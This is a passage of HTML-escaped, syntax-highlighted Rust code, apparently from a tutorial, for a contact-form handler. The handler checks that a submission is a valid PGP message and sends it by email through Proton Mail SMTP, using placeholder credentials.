&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;async &lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-rust&quot;&gt;fn&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-rust&quot;&gt;post_pgp_message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;Json&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;payload&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;: &lt;span class=&quot;z-meta z-generic z-rust&quot;&gt;Json&lt;span class=&quot;z-punctuation z-definition z-generic z-begin z-rust&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;Submission&lt;span class=&quot;z-punctuation z-definition z-generic z-end z-rust&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt; &lt;span class=&quot;z-meta z-function z-return-type z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt; StatusCode&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; if the form submission is not valid,
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; send a 400 Bad Request to the client
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-rust&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-rust&quot;&gt;!&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;is_valid_pgp_message&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-bitwise z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;payload&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-keyword z-control z-rust&quot;&gt;return&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;StatusCode&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;BAD_REQUEST&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; my Proton Mail SMTP submission token and email settings
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; smtp_username &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;YOUR-SMTP-USERNAME@example.com&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; smtp_token &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;YOUR-SECRET-SMTP-TOKEN&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; from_address &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-macro z-rust&quot;&gt;format!&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;My server &amp;lt;&lt;span class=&quot;z-constant z-other z-placeholder z-rust&quot;&gt;{}&lt;&#x2F;span&gt;&amp;gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; smtp_username&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; to_address &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Me &amp;lt;me@example.com&amp;gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; creds &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Credentials&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;new&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        smtp_username&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;to_owned&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        smtp_token&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;to_owned&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; Open a remote connection to Proton Mail
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; mailer &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;SmtpTransport&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;relay&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;smtp.protonmail.ch&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;credentials&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;creds&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;build&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; email &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Message&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;builder&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;from&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;from_address&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;parse&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;reply_to&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;payload&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;reply_to&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;parse&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;to&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;to_address&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;parse&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;subject&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;A message from your contact form&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
